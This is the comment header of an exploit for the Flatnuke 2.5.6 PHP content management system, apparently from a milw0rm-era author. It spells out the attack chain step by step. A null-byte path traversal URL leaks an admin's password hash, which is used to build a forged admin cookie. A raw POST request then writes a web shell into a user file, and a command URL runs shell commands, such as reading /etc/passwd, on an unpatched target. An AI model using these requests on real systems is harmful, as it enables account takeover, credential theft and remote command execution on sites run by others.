# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
|
||
# (works with magic_quotes_gpc off, try this with 2.5.5:
|
||
# http://www.milw0rm.com/id.php?id=1140)
|
||
#
|
||
# coded by rgod at http://rgod.altervista.org

# mail: retrogod at aliceposta it

# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html

# description: a PHP Content Management System
|
||
#
|
||
# Explaination: if magic_quotes_gpc is off you can have any admin/user MD5
|
||
# password hash, poc:
|
||
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
|
||
# now you can build an admin cookie:
|
||
#
|
||
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
|
||
#
|
||
# as admin, you can edit any php file on target system and insert a shell,
|
||
# example:
|
||
#
|
||
# POST /flatnuke/verify.php HTTP/1.1
|
||
# Content-Type: application/x-www-form-urlencoded
|
||
# Host: [target_host]
|
||
# Content-Length: [data_length]
|
||
# Cookie: [admin_cookie]
|
||
# Connection: Close
|
||
#
|
||
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
|
||
#
|
||
# now you launch commands:
|
||
#
|
||
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
|
||
#
|
||
# Vendor has notified on August 2005 about credentials disclosure,
|
||
# no patch has been released
